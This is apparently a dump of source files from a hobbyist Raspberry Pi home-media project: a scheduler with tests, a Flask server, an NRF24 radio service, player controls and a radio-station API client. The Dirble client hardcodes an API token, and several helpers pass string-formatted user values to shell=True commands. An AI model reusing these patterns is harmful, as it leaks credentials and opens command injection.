self.start_time - current_time\n if self.period:\n diff = current_time - self.start_time\n return timedelta(seconds= diff.seconds % self.period)\n upcoming_events = []\n for date in self.at:\n event = date.getSignificantTimeDelta(current_time)\n upcoming_events.append(event)\n upcoming_events.sort()\n return upcoming_events[0]\n\nclass RepetativeEvent:\n\n def __init__(self, scheduler):\n self.sched = scheduler\n\n def schedule(self, pattern, f):\n self.f = f\n self.pattern = pattern\n\n def __call__(self, *args, **kwargs):\n self.f(args, kwargs)\n self.reschedule()\n pass\n\n def reschedule(self):\n nextEventIn = self.pattern.UpcomingEvent(datetime.datetime.now())\n sched.enterFromDate(datetime.datetime.now() + nextEventIn)\n\n def serialize(self):\n pass\n\n\n@Action(\"print_time\")\ndef print_time(id, **kwargs):\n print(\"Time is\", time.time(), \" \", id, \" \", datetime.datetime.now())\n\n\n@Action(\"print_datetime\")\ndef print_datetime(arg, **kwargs):\n print(\"datetime: \" + arg)\n\n\nif __name__ == \"__main__\":\n import unittest\n\n def makeDate(str):\n return datetime.datetime.strptime(str, \"%d/%m/%Y %H:%M\")\n\n class UTTime:\n def __init__(self, times = None):\n if not times:\n times = list(range(0,9))\n self.times = times\n\n def __call__(self):\n print (\"invoke\")\n return self.times.pop(0)\n\n class SchedulerTest(unittest.TestCase):\n\n @Action(\"SchedulerTest.scheduler_cb\")\n def scheduler_cb(test, **kwargs):\n print (\"testset!!!\")\n\n @RepetativeEvent(\"SchedulerTest.repetative_cb\")\n def repetative_cb(tst, **kwargs):\n print(\"repetative cb\")\n\n def test_sched(self):\n a = Scheduler(ut_time = UTTime())\n a.enter(4, SchedulerTest.scheduler_cb, 5, he=\"heee\")\n print(a.list)\n #a.enterFromDate(datetime.datetime.now() + datetime.timedelta(hours=3), print_datetime, \"alaram!!\", other=\"oth\" )\n try:\n a.start()\n time.sleep(5)\n except KeyboardInterrupt:\n print(\"interrupted\")\n finally:\n a.UpdateSettings()\n print(time.time())\n\n\n @unittest.skip(\"not implemented yet\")\n class PickleTest(unittest.TestCase):\n\n def test_pickle(self):\n import pickle\n print (\"Pickle test\")\n pattern = RepetativePattern(datetime.datetime.now())\n pattern.At(hours=22)\n pattern.At(hours=8)\n print (pickle.dumps(pattern))\n\n class RepetativePatternTest(unittest.TestCase):\n\n test_time = makeDate(\"20/10/2016 22:00\")\n test_time_month_end = makeDate(\"31/10/2016 22:00\")\n test_time_eoy = makeDate(\"31/12/2016 23:00\")\n\n def test_pattern(self):\n print(\"repetative pattern test\")\n pattern = RepetativePattern(datetime.datetime.now() - timedelta(hours=5,minutes=59, seconds=13))\n pattern.EveryHour(4)\n\n def test_date(self):\n print(\"test date\")\n pattern = RepetativePattern(RepetativePatternTest.test_time)\n pattern.At(hour=22)\n upcoming = pattern.UpcomingEvent(RepetativePatternTest.test_time - timedelta(hours = 1) )\n self.assertEqual(upcoming, timedelta(hours=1))\n\n upcoming = pattern.UpcomingEvent(RepetativePatternTest.test_time + timedelta(hours = 1) )\n self.assertEqual(upcoming, timedelta(hours=23))\n\n pattern = RepetativePattern(RepetativePatternTest.test_time_month_end)\n pattern.At(hour=22)\n upcoming = pattern.UpcomingEvent(RepetativePatternTest.test_time_month_end + timedelta(hours = 1) )\n self.assertEqual(upcoming, timedelta(hours=23))\n\n pattern = RepetativePattern(RepetativePatternTest.test_time_eoy)\n pattern.At(hour=22)\n pattern.At(hour=8)\n upcoming = pattern.UpcomingEvent(RepetativePatternTest.test_time_eoy)\n self.assertEqual(upcoming, timedelta(hours=9))\n upcoming = pattern.UpcomingEvent(RepetativePatternTest.test_time_eoy + timedelta(hours=10))\n self.assertEqual(upcoming, timedelta(hours=13))\n upcoming = pattern.UpcomingEvent(RepetativePatternTest.test_time_eoy + timedelta(hours=24))\n self.assertEqual(upcoming, timedelta(hours=9))\n\n\n class TimePatternTest(unittest.TestCase):\n\n curr_time = makeDate(\"20/10/2016 22:00\")\n curr_time_end_of_month = makeDate(\"31/10/2016 22:00\")\n curr_time_end_of_year = makeDate(\"31/12/2016 22:00\")\n\n def test_basic(self):\n print (\"Time pattern test\")\n p = TimePattern (hour=23, minute=10)\n self.assertEqual(p.getSignificantValues()[0], (\"hour\",\"minute\"))\n self.assertEqual(p.getSignificantValues()[1], ())\n\n p = TimePattern (day=20, hour=23)\n self.assertEqual(p.getSignificantValues()[0], (\"day\",\"hour\"))\n tdelta = p.getSignificantTimeDelta(TimePatternTest.curr_time)\n self.assertEqual(tdelta, timedelta(hours=1))\n\n p = TimePattern (day=20, hour=21)\n self.assertEqual(p.getSignificantValues()[0], (\"day\",\"hour\"))\n tdelta = p.getSignificantTimeDelta(TimePatternTest.curr_time)\n self.assertEqual(tdelta, timedelta(days=30, hours=23))\n\n def test_every_hour(self):\n p = TimePattern (hour=20)\n self.assertEqual(p.getSignificantValues()[0], (\"hour\",))\n tdelta = p.getSignificantTimeDelta(TimePatternTest.curr_time)\n self.assertEqual(tdelta, timedelta(hours=22))\n\n p = TimePattern (hour=8)\n tdelta = p.getSignificantTimeDelta(TimePatternTest.curr_time)\n self.assertEqual(tdelta, timedelta(hours=10))\n\n p = TimePattern (hour=21)\n self.assertEqual(p.getSignificantValues()[0], (\"hour\",))\n tdelta = p.getSignificantTimeDelta(TimePatternTest.curr_time)\n self.assertEqual(tdelta, timedelta(hours=23))\n\n p = TimePattern (hour=21)\n self.assertEqual(p.getSignificantValues()[0], (\"hour\",))\n tdelta = p.getSignificantTimeDelta(TimePatternTest.curr_time_end_of_month)\n self.assertEqual(tdelta, timedelta(hours=23))\n\n p = TimePattern (hour=21)\n self.assertEqual(p.getSignificantValues()[0], (\"hour\",))\n tdelta = p.getSignificantTimeDelta(TimePatternTest.curr_time_end_of_year)\n self.assertEqual(tdelta, timedelta(hours=23))\n\n def test_anchor_date(self):\n p = TimePattern(day=22)\n anch = p.getAnchorDate(TimePatternTest.curr_time)\n self.assertEqual(datetime.datetime(year=2016, month=10, day=22), anch)\n\n p = TimePattern(day=22)\n anch = p.getAnchorDate(TimePatternTest.curr_time, future=\"day\")\n self.assertEqual(datetime.datetime(year=2016, month=10, day=23), anch)\n\n p = TimePattern(hour=22)\n anch = p.getAnchorDate(TimePatternTest.curr_time_end_of_month, future = \"day\")\n self.assertEqual(datetime.datetime(year=2016, month=11, day=1, hour=22), anch)\n\n p = TimePattern(hour=22)\n anch = p.getAnchorDate(TimePatternTest.curr_time_end_of_month, future = \"day\")\n self.assertEqual(datetime.datetime(year=2016, month=11, day=1, hour=22), anch)\n\n p = TimePattern(hour=22)\n anch = p.getAnchorDate(TimePatternTest.curr_time_end_of_year, future = \"day\")\n self.assertEqual(datetime.datetime(year=2017, month=1, day=1, hour=22), anch)\n\n unittest.main()\n" }, { "alpha_fraction": 0.6332046389579773, "alphanum_fraction": 0.6332046389579773, "avg_line_length": 18.923076629638672, "blob_id": "54c1eb1708bcfcf047a73cb36d2f76b0c8d2422e", "content_id": "bbab70c359a3b464ceba828d89fd2853f79e2dba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 259, "license_type": "no_license", "max_line_length": 40, "num_lines": 13, "path": "/python/raspi/flask_raspi.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "from flask import Flask, redirect \n\napp = Flask(\"raspi\", \n static_folder='../page/',\n static_url_path='')\n\nimport raspi_media\nimport raspi_system\nimport raspi_youtube\n\[email protected](\"/\")\ndef root():\n return redirect(\"/raspi/index.html\")\n" }, { "alpha_fraction": 0.5429808497428894, "alphanum_fraction": 0.5683364272117615, "avg_line_length": 27.36842155456543, "blob_id": "5ae15b98d2ac0091397ec613f9991b02b058885a", "content_id": "c451155066fe5a98c3f7ba43469a8d7f84f45ed6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1617, "license_type": "no_license", "max_line_length": 83, "num_lines": 57, "path": "/services/nrf/nrf_service.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nfrom nrf24 import NRF24\nfrom plumbum import cli\nimport redis\nimport nrf_msg\n\nNRF_RECEIVE_CHANNEL = \"nrf.receive\"\nNRF_SEND_CHANNEL = b\"nrf.send\"\nINTERRUPT_PIN = 2\nNRF_DATA_PIN = 17\nNRF_LOAD_SIZE = 8\n\ndef initNRF():\n radio = NRF24()\n radio.begin(0, 0, NRF_DATA_PIN, INTERRUPT_PIN)\n radio.setPayloadSize(NRF_LOAD_SIZE)\n radio.setChannel(0x2)\n radio.setCRCLength(NRF24.CRC_8)\n radio.setDataRate(NRF24.BR_2MBPS)\n radio.write_register(NRF24.RF_SETUP, 0xf)\n radio.write_register(NRF24.EN_RXADDR, 0x3)\n radio.openWritingPipe([0xe7, 0xe7, 0xe7, 0xe7, 0xe7])\n radio.printDetails()\n return radio\n\nclass App(cli.Application):\n RETRY_ATTEMPTS = 10\n\n def __init__(self, *args):\n self.radio = initNRF()\n self.r = redis.Redis()\n super().__init__(*args)\n\n def radio_send_msg(self, msg):\n self.radio.stopListening()\n for _ in range(0, self.RETRY_ATTEMPTS):\n print(\"Sending message\")\n if self.radio.write(msg):\n break\n \n def main(self):\n print(\"Hi\")\n sub = self.r.pubsub()\n sub.subscribe(NRF_SEND_CHANNEL)\n for msg in sub.listen():\n try:\n if msg[\"channel\"] == NRF_SEND_CHANNEL and msg[\"type\"] == 'message':\n val = int(msg[\"data\"])\n msg = nrf_msg.pack_message(val)\n print(msg)\n self.radio_send_msg(msg)\n else:\n print(msg)\n except ValueError as e:\n print(f\"Error processing message {msg}\")\n\nApp.run()\n" }, { "alpha_fraction": 0.5585185289382935, "alphanum_fraction": 0.5696296095848083, "avg_line_length": 24.961538314819336, "blob_id": "d73b5169302923d2ed2282f031ad7d9d70afb61d", "content_id": "44d56343cf5b8aa7d35bb84295367e8e73557c59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1350, "license_type": "no_license", "max_line_length": 80, "num_lines": 52, "path": "/python/mocp.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nfrom utils import runCommand, Singleton\nimport re\nvol_re = re.compile('\\sMono.+\\[(\\d+)%\\]')\namixer_vol_template = \"amixer set PCM {}%\"\n\n\nclass MOCP(metaclass = Singleton):\n\n def __init__(self):\n self.vol = MOCP.volume()\n\n def parseVolume(out):\n s = vol_re.search(out)\n if s:\n return int(s.group(1))\n return -1\n\n def runMOCP(args):\n return runCommand(\"mocp {} 2>/dev/null\".format(args))[0].decode(\"ascii\")\n\n def volume():\n cmd_out = runCommand(\"amixer\")\n return MOCP.parseVolume(cmd_out[0].decode(\"ascii\"))\n\n def volumeUp(self):\n if self.vol == -1:\n self.vol = MOCP.volume()\n out = MOCP.setVolume(self.vol + 1)\n self.vol = MOCP.parseVolume(out)\n\n def volumeDown(self):\n if self.vol == -1:\n self.vol = MOCP.volume()\n out = MOCP.setVolume(self.vol - 1)\n self.vol = MOCP.parseVolume(out)\n\n def setVolume(val):\n return runCommand(amixer_vol_template.format(val))[0].decode(\"ascii\")\n\n def getCurrentTitle():\n return MOCP.runMOCP(\"-Q %title\").strip()\n\n def play(item):\n return MOCP.runMOCP(\"-c -a {} -p\".format(item))\n\n def stop():\n return MOCP.runMOCP(\"-s\")\n\nif __name__ == \"__main__\":\n print(MOCP.play(\"http://sc9.radioseven.se:8500\"))\n MOCP.stop()\n" }, { "alpha_fraction": 0.6878172755241394, "alphanum_fraction": 0.700507640838623, "avg_line_length": 25.200000762939453, "blob_id": "c29cf4f4280d15a3f9d4bfddd64bf59b00136f04", "content_id": "a54d9ed9203827d6caca844d520f7bdb22e64cc5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 394, "license_type": "no_license", "max_line_length": 56, "num_lines": 15, "path": "/services/web/web_service.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport aiohttp\nfrom aiohttp import web\n\nasync def main_handle(request):\n return web.HTTPFound(location=\"/index.html\")\n \nasync def handle(request):\n return web.Response(text=\"gtfo\")\n\napp = web.Application()\napp.router.add_get('/', main_handle)\napp.router.add_get('/h', handle)\napp.router.add_static(\"/\", \"./static/\", show_index=True)\nweb.run_app(app, port=8088)\n\n" }, { "alpha_fraction": 0.47665369510650635, "alphanum_fraction": 0.4936075508594513, "avg_line_length": 31.709091186523438, "blob_id": "f830d300f94215418d3cf5c8593ea40057bbe62c", "content_id": "192be06d281aa5c5f484a38e25c2f042ea373e3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3598, "license_type": "no_license", "max_line_length": 84, "num_lines": 110, "path": "/spikes/nrf_service.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nfrom nrf24 import NRF24\nfrom plumbum import cli\nfrom queue import Queue, Empty\nfrom threading import Thread\nimport os\nimport redis\nimport time\nimport logging\n\nlogger = logging.getLogger(\"nrf service\")\nlogging.basicConfig(level=logging.DEBUG)\n\nNRF_RECEIVE_CHANNEL = \"nrf.receive\"\nNRF_SEND_CHANNEL = \"nrf.send\"\nINTERRUPT_PIN = 2\nNRF_DATA_PIN = 17\nNRF_LOAD_SIZE = 8\n\n\ndef initNRF():\n radio = NRF24()\n radio.begin(0, 0, NRF_DATA_PIN, INTERRUPT_PIN)\n radio.setPayloadSize(NRF_LOAD_SIZE)\n radio.setChannel(0x2)\n radio.setCRCLength(NRF24.CRC_8)\n radio.setDataRate(NRF24.BR_2MBPS)\n radio.write_register(NRF24.RF_SETUP, 0xf)\n radio.write_register(NRF24.EN_RXADDR, 0x3)\n radio.openReadingPipe(0, [0xe7, 0xe7, 0xe7, 0xe7, 0xe7])\n return radio\n\n\nclass App(cli.Application):\n def subThr(self):\n sub = self.r.pubsub()\n sub.subscribe([NRF_SEND_CHANNEL])\n for msg in sub.listen():\n if msg[\"type\"] != \"message\":\n continue\n self.q.put(msg)\n\n @staticmethod\n def sendMesssage(radio, msg):\n radio.retries = 1\n radio.stopListening()\n body = int(msg[\"data\"]).to_bytes(4, byteorder=\"little\")\n body = [42] + list(body) + [0] * 3\n logger.debug(body)\n if radio.write(body):\n logger.info(\"sent\")\n else:\n logger.info(\"failed\")\n radio.startListening()\n\n def main(self, *arg):\n if not arg:\n return\n try:\n if arg[0] == \"run\":\n self.r = redis.Redis()\n # Check redis connection\n self.r.get(None)\n logger.info(\"run nrf server\")\n self.q = Queue()\n radio = initNRF()\n radio.startListening()\n radio.printDetails()\n t = Thread(target=lambda: self.subThr())\n t.start()\n while(True):\n while not radio.available([0], False):\n try:\n if self.q.qsize() != 0:\n msg = self.q.get_nowait()\n logger.debug(msg)\n App.sendMesssage(radio, msg)\n time.sleep(0.02)\n except Empty:\n logger.error(\"error getting item\")\n recv_buff = []\n radio.read(recv_buff)\n self.r.publish(NRF_RECEIVE_CHANNEL, bytes(recv_buff))\n elif arg[0] == \"send\":\n r = redis.Redis()\n if len(arg) >= 2:\n code = arg[1]\n else:\n code = 0\n r.publish(NRF_SEND_CHANNEL, code)\n elif arg[0] == \"recv\":\n r = redis.Redis()\n sub = r.pubsub()\n sub.subscribe(NRF_RECEIVE_CHANNEL)\n for msg in sub.listen():\n if msg[\"type\"] == \"message\":\n data = msg[\"data\"]\n logger.info(list(data))\n logger.info(\"received packet of type {}, value: {}\".format(\n data[0], int.from_bytes(data[1:5], byteorder=\"little\")))\n else:\n logger.error(\"unknown argument\")\n except KeyboardInterrupt:\n logger.error(\"Interrupt received\")\n os._exit(0)\n except redis.exceptions.ConnectionError:\n logger.error(\"Error connecting to redis\")\n os._exit(0)\n\nApp.run()\n" }, { "alpha_fraction": 0.5742705464363098, "alphanum_fraction": 0.5804597735404968, "avg_line_length": 27.274999618530273, "blob_id": "018b6063747209df9999f2dabdb38585d83394fc", "content_id": "8e1da5ea6881f00232ff50e419dae63894578b55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2262, "license_type": "no_license", "max_line_length": 109, "num_lines": 80, "path": "/python/omxplayer.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport subprocess\nimport time\n\n\ndef runCommand(cmd):\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, shell=True)\n return p.communicate()\n\n\nclass OMXPlayer:\n\n def __init__(self):\n self.proc = None\n\n def startPlayer(self, params):\n cmd = \"omxplayer \\\"%s\\\"\" % params\n print(\"starting player: \", cmd)\n self.proc = subprocess.Popen(\n cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)\n\n def quitPlayer(self):\n self.sendKey(b'q')\n time.sleep(3)\n\n def pause(self):\n self.sendKey(b'p')\n\n def startStream(self, url):\n cmd = \"livestreamer --retry-open 3 \\\"%s\\\" best --yes-run-as-root --player \\\"omxplayer\\\" --fifo\" % url\n print(cmd)\n self.proc = subprocess.Popen(\n cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)\n\n def forward(self):\n # Look for ANSI escape codes here:\n # https://en.wikipedia.org/wiki/ANSI_escape_code\n self.sendKey(b'\\x1C[C')\n\n def backward(self):\n # Look for ANSI escape codes here:\n # https://en.wikipedia.org/wiki/ANSI_escape_code\n self.sendKey(b'\\x1D[D')\n\n def switchAudio(self):\n self.sendKey(b'k')\n\n def sendKey(self, key):\n try:\n if self.proc:\n self.proc.stdin.write(key)\n self.proc.stdin.flush()\n except BrokenPipeError:\n self.proc = None\n\n\nif __name__ == \"__main__\":\n print(\"Run omxplayer module util\")\n try:\n player = OMXPlayer()\n player.startStream('https://www.youtube.com/watch?v=Le4LsePzn4M')\n while True:\n line = player.proc.stdout.readline()\n if line:\n print(line)\n player.startPlayer('/root/Fargo.DVDRip_0dayTeam.avi')\n player.startPlayer('/root/Fargo.DVDRip_0dayTeam.avi')\n time.sleep(10)\n print(\"step forward\")\n player.quitPlayer()\n time.sleep(5)\n print(\"step forward\")\n player.forward()\n while True:\n time.sleep(29)\n\n except KeyboardInterrupt:\n print(\"exiting player\")\n player.quitPlayer()\n" }, { "alpha_fraction": 0.6187245845794678, "alphanum_fraction": 0.6309362053871155, "avg_line_length": 25.321428298950195, "blob_id": "f587bb7f9b325808f6571cdb9289ba832272528d", "content_id": "d462602fb715d305046a47fbd1dfdd71a496b62f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 737, "license_type": "no_license", "max_line_length": 64, "num_lines": 28, "path": "/python/server.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport sys\nimport logging\nfrom plumbum import cli\nfrom flask_socketio import SocketIO\n\n\nclass ServerApplication(cli.Application):\n server_type = cli.switches.SwitchAttr([\"--app\", \"-a\"], str, \n default = \"raspi\",\n help = \n \"\"\"Specify type of server to run \"\"\")\n\n def main(self, *srcfiles):\n if self.server_type == \"raspi\":\n print (\"rapsi\")\n sys.path.append(\"raspi\")\n from flask_raspi import app\n from serial_listener import startListen\n startListen()\n socketio = SocketIO(app)\n socketio.run(app, host=\"0.0.0.0\", port=80)\n\nlog = logging.getLogger('werkzeug')\n#log.setLevel(logging.ERROR)\n \nServerApplication.run()\n# vim: ts=4 sw=4 et\n" }, { "alpha_fraction": 0.4586723744869232, "alphanum_fraction": 0.5027837157249451, "avg_line_length": 24.380434036254883, "blob_id": "0ceafe9d954fbe680ec0fb6259b57aae9c542656", "content_id": "30a0d99df72e399ffd5233bb274882d9f3604210", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2335, "license_type": "no_license", "max_line_length": 97, "num_lines": 92, "path": "/spikes/timebox.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "import socket\nimport logging\nfrom binascii import unhexlify\n\nlogger = logging.getLogger(\"timebox\")\n\nclass Timebox:\n def __init__(self, addr):\n self.sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM)\n self.addr = addr\n\n def connect(self):\n self.sock.connect((self.addr, 4))\n\n def disconnect(self):\n self.sock.close()\n\n def send(self, package):\n logger.debug([hex(b) for b in package])\n self.sock.send(package)\n\n def send_raw(self, bts):\n self.send(unhexlify(bts))\n\n def sendImage(self, data):\n self.send(conv_image(data))\n\nclass Image:\n def __init__(self):\n self.data = None\n\n def setRGB(self, r, g, b, x, y):\n data1 = r& 0xf0 + g & 0x0f\n data2 = b\n\n def fillImage(self, r,g,b):\n first = True\n self.data = [0]\n for i in range(0, 121):\n if(first):\n self.data[-1] = (r)+(g<<4)\n self.data.append(b)\n first=False\n else:\n self.data[-1] += (r<<4)\n self.data.append(g+(b<<4))\n self.data.append(0)\n first=True\n\n def setPixel(self, x, y, r,g,b):\n if not self.data:\n self.fillImage(0,0,0)\n index = x + 11 * y\n first = index % 2 == 0\n index = int(index * 1.5)\n #logger.info(\"index: {}, first: {}\".format(index, first))\n if first:\n self.data[index] = r + (g << 4)\n self.data[index+1] = (self.data[index+1]&0xf0) + b\n else:\n self.data[index] = (self.data[index]&0x0f) + (r<<4)\n self.data[index+1] = g + (b<<4)\n \ndef conv_image(data): \n # should be 11x11 px => \n head = [0xbd,0x00,0x44,0x00,0x0a,0x0a,0x04]\n data = data\n ck1,ck2 = checksum(sum(head)+sum(data))\n \n msg = [0x01]+head+mask(data)+mask([ck1,ck2])+[0x02]\n return bytearray(msg)\n \n\ndef mask(bytes):\n _bytes = []\n for b in bytes:\n if(b==0x01):\n _bytes=_bytes+[0x03,0x04]\n elif(b==0x02):\n _bytes=_bytes+[0x03,0x05]\n elif(b==0x03):\n _bytes=_bytes+[0x03,0x06]\n else:\n _bytes+=[b]\n \n return _bytes\n\ndef checksum(s):\n ck1 = s & 0x00ff\n ck2 = s >> 8\n \n return ck1, ck2\n" }, { "alpha_fraction": 0.5781600475311279, "alphanum_fraction": 0.5852655172348022, "avg_line_length": 28.384614944458008, "blob_id": "8e6fd0720c7a123823dad0f340c0630132fb75ee", "content_id": "3ec5288e5dc49a222b8f63885d24a82f6f1f635e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2674, "license_type": "no_license", "max_line_length": 81, "num_lines": 91, "path": "/python/dirble_backend.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport http.client\nfrom web_backend import ServiceConnection\nfrom urllib.parse import urlparse\nimport json\nfrom utils import Singleton\ntoken = \"3954ccb7fcb40fe2612c15457f\"\nitems_per_page = 10\ndrible_host = \"api.dirble.com\"\nurl_template = \"/v2/stations?page=%d&per_page=%d&token=%s\"\nstation_template = \"/v2/station/%d?token=%s\"\n\n\nclass DirbleConnection:\n\n def __init__(self, host):\n self.host = host\n self.c = None\n self.pages = None\n\n def getData(self, req):\n if not self.c:\n print(\"connecting \", self.host)\n self.c = http.client.HTTPConnection(self.host)\n print(\"connected\")\n self.c.request(\"GET\", req)\n resp = self.c.getresponse()\n try:\n self.pages = int(resp.getheader('X-Total-Pages'))\n except Exception:\n pass\n if resp.status == 302:\n location = resp.getheader(\"location\")\n print(\"new lock = \", location)\n self.c = None\n self.host = urlparse(location).netloc\n return self.getData(req)\n elif resp.status != 200:\n return \"{'error':'bad response %d'}\" % resp.status\n else:\n return resp.read().decode(\"utf-8\")\n\n\nclass Dirble(ServiceConnection, metaclass = Singleton):\n\n def __init__(self):\n ServiceConnection.__init__(self, drible_host, https=True)\n self.current_page = 1\n self.pages = 0\n self.connection = None\n self.cache = None\n\n def createRequest(self):\n return url_template % (self.current_page, items_per_page, token)\n\n def createGetStationRequest(self, station_id):\n return station_template % (station_id, token)\n\n def loadList(self):\n lst, hdrs = self.getData(self.createRequest(), withHeaders=True)\n lst = json.loads(lst)\n if not self.pages:\n self.pages = hdrs['X-Total-Pages']\n if len(lst) != 0:\n self.cache = lst\n return lst\n\n def getStationInfo(self, station_id):\n if self.cache and station_id in self.cache:\n return self.cache[station_id]\n r = self.createGetStationRequest(station_id)\n print(r)\n return json.loads(self.getData(self.createGetStationRequest(station_id)))\n\n def NextPage(self):\n if self.pages and self.current_page < self.pages:\n self.current_page += 1\n return True\n return False\n\n def PrevPage(self):\n if self.current_page > 1:\n self.current_page -= 1\n return True\n else:\n return False\n\nif __name__ == \"__main__\":\n d = Dirble()\n d.current_page = 1\n print(str(d.loadList()))\n" }, { "alpha_fraction": 0.5397688746452332, "alphanum_fraction": 0.549966037273407, "avg_line_length": 29.64583396911621, "blob_id": "56d84209c18c721a839d8969d0fc3ff21f3788db", "content_id": "d70eace4144f85ba28e486ff7c01e23d461bf19d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1471, "license_type": "no_license", "max_line_length": 77, "num_lines": 48, "path": "/python/url_handler.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\n\nclass UrlDispatcher:\n\n def __init__(self):\n self.url_map = {}\n\n def addHandler(self, url, handler):\n self.__addHandler(self.url_map, url.split('/')[1:], handler)\n\n def __addHandler(self, d, url, hndlr):\n if len(url) == 1:\n d[url[0]] = hndlr\n else:\n if not url[0] in d:\n d[url[0]] = {}\n self.__addHandler(d[url[0]], url[1:], hndlr)\n\n def dispatchUrl(self, url, req_handler=None):\n def __dispathUrl(self, d, url):\n if not url or not url[0] in d:\n return \"Not Found\"\n next_map = d[url[0]]\n if hasattr(next_map, '__call__'):\n return next_map(url[1:], handler=req_handler)\n else:\n return __dispathUrl(self, next_map, url[1:])\n return __dispathUrl(self, self.url_map, url.split('/')[1:])\n\n\nclass UrlHandler:\n\n def __init__(self):\n pass\n\n def __call__(self, params, **kwargs):\n return \"object called: \" + str(params) +\"kwargs: \" + str(kwargs)\n\nif __name__ == \"__main__\":\n dispathcer = UrlDispatcher()\n hnd = UrlHandler()\n dispathcer.addHandler(\"/www/srv\", hnd)\n dispathcer.addHandler(\"/sdf/svv/wefefrv\", hnd)\n print(str(dispathcer.url_map))\n print(dispathcer.dispatchUrl(\"/www/srv/dd\"))\n print(dispathcer.dispatchUrl(\"/sdf/svv/wefefrv/sdf?gfg\"))\n print(dispathcer.dispatchUrl(\"/sdf/svv/wefefrv/sdf?gfg&dfk=ddf&para=12\"))\n" }, { "alpha_fraction": 0.5773195624351501, "alphanum_fraction": 0.5778923034667969, "avg_line_length": 25.86153793334961, "blob_id": "95cd0def5aa7cd089c2cb57bf80743ce3440f7b7", "content_id": "28382fb38d5ca1d38134117360fcf22d5f1e5276", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3492, "license_type": "no_license", "max_line_length": 94, "num_lines": 130, "path": "/python/utils.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport subprocess\nimport os\nimport threading\nimport time\nimport json\nimport datetime\nimport math\n\n\ndef runCommand(cmd):\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, shell=True)\n return p.communicate()\n\n\nclass DirFetcher(threading.Thread):\n\n def __init__(self):\n self.TIMEOUT = 3\n self.EMPTY_DIR = ([], [])\n threading.Thread.__init__(self)\n self.setDaemon(True)\n self.dir = self.EMPTY_DIR\n self.cond = threading.Condition()\n self.is_running = False\n\n def run(self):\n self.is_running = True\n try:\n if os.path.isfile(self.path):\n self.dir = None\n else:\n _, d, f = next(os.walk(self.path))\n self.dir = d, f\n except Exception:\n self.dir = None\n\n self.is_running = False\n self.cond.acquire()\n self.cond.notify()\n self.cond.release()\n\n def Fetch(self, path):\n if self.is_running:\n return self.EMPTY_DIR\n self.__init__()\n self.path = path\n self.start()\n self.cond.acquire()\n self.cond.wait(self.TIMEOUT)\n self.cond.release()\n if self.dir == None:\n raise FileBrowser.NotADirException(\"Is not a dir\")\n return self.dir\n\n\nclass FileBrowser:\n\n class NotADirException(Exception):\n\n def __init__(self, msg):\n Exception.__init__(self, msg)\n\n def __init__(self, path, windows_path=False):\n self.dir_path = path\n self.fetcher = DirFetcher()\n if windows_path:\n self.path_pattern = \"%s\\%s\"\n else:\n self.path_pattern = \"%s/%s\"\n\n def getDirsAndFiles(self, path):\n return self.fetcher.Fetch(path)\n\n def processItemOnFS(self, path):\n full_path = self.path_pattern % (self.dir_path, path)\n try:\n dirs, files = self.getDirsAndFiles(full_path)\n dirs.sort()\n files.sort()\n data = json.dumps({\"dirs\": dirs, \"files\": files})\n return data\n except UnicodeEncodeError:\n return \"Error decoding path characters. Probably system locale is not an uniconde\"\n\n\ndef LoadFile(filename):\n if not os.path.isfile(filename):\n return None\n with open(filename, \"r\") as f:\n return f.read()\n\n\ndef WriteToFile(filename, data):\n with open(filename, \"w\") as f:\n f.write(data)\n\n\ndef SystemUptime():\n def getTimedelta(time):\n return datetime.timedelta(seconds=math.floor(float(time)))\n uptime, idletime = LoadFile('/proc/uptime').split()\n uptime = getTimedelta(uptime)\n return uptime\n\ndef ConnectionRefusedHandler(f):\n def wrapper(*args, **kwargs):\n try:\n return f(*args, **kwargs)\n except ConnectionRefusedError:\n return makeErrorResponse(\"no connection :(\")\n # flask url dispatcher relies on __name__ attribute\n # to make sure request handler is unique\n wrapper.__name__ = f.__name__\n return wrapper\n\ndef makeErrorResponse(msg):\n return json.dumps({'error': str(msg)})\n\nclass Singleton(type):\n _instances = {}\n def __call__(cls, *args, **kwargs):\n if cls not in cls._instances:\n cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)\n return cls._instances[cls]\n \nif __name__ == \"__main__\":\n browser = FileBrowser(\"./\")\n print(browser.processItemOnFS('.'))\n" }, { "alpha_fraction": 0.6394557952880859, 